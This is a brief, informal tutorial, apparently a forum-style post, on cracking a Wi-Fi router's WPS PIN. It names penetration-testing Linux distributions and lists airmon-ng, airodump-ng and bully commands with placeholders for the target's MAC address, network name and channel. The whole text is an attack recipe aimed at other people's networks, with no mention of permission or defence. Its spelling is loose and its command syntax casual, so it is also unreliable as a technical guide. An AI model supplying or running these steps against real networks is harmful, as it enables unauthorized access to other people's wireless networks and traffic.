How to hack wps wifi:

Download once os from this list:
1)kali linux
2)back box
3)back track
After download install os
After install
Open termianl and type this codes:
1)for make monitoring mode:
Airmon-ng start wlan0
2)for use monitoring mode:
Airodump-ng mon0
3)for hacking:
Bully -b 1 -e 2 -c 3
1=modem mac address
2=modem name
3=modem chanel
:)
(End)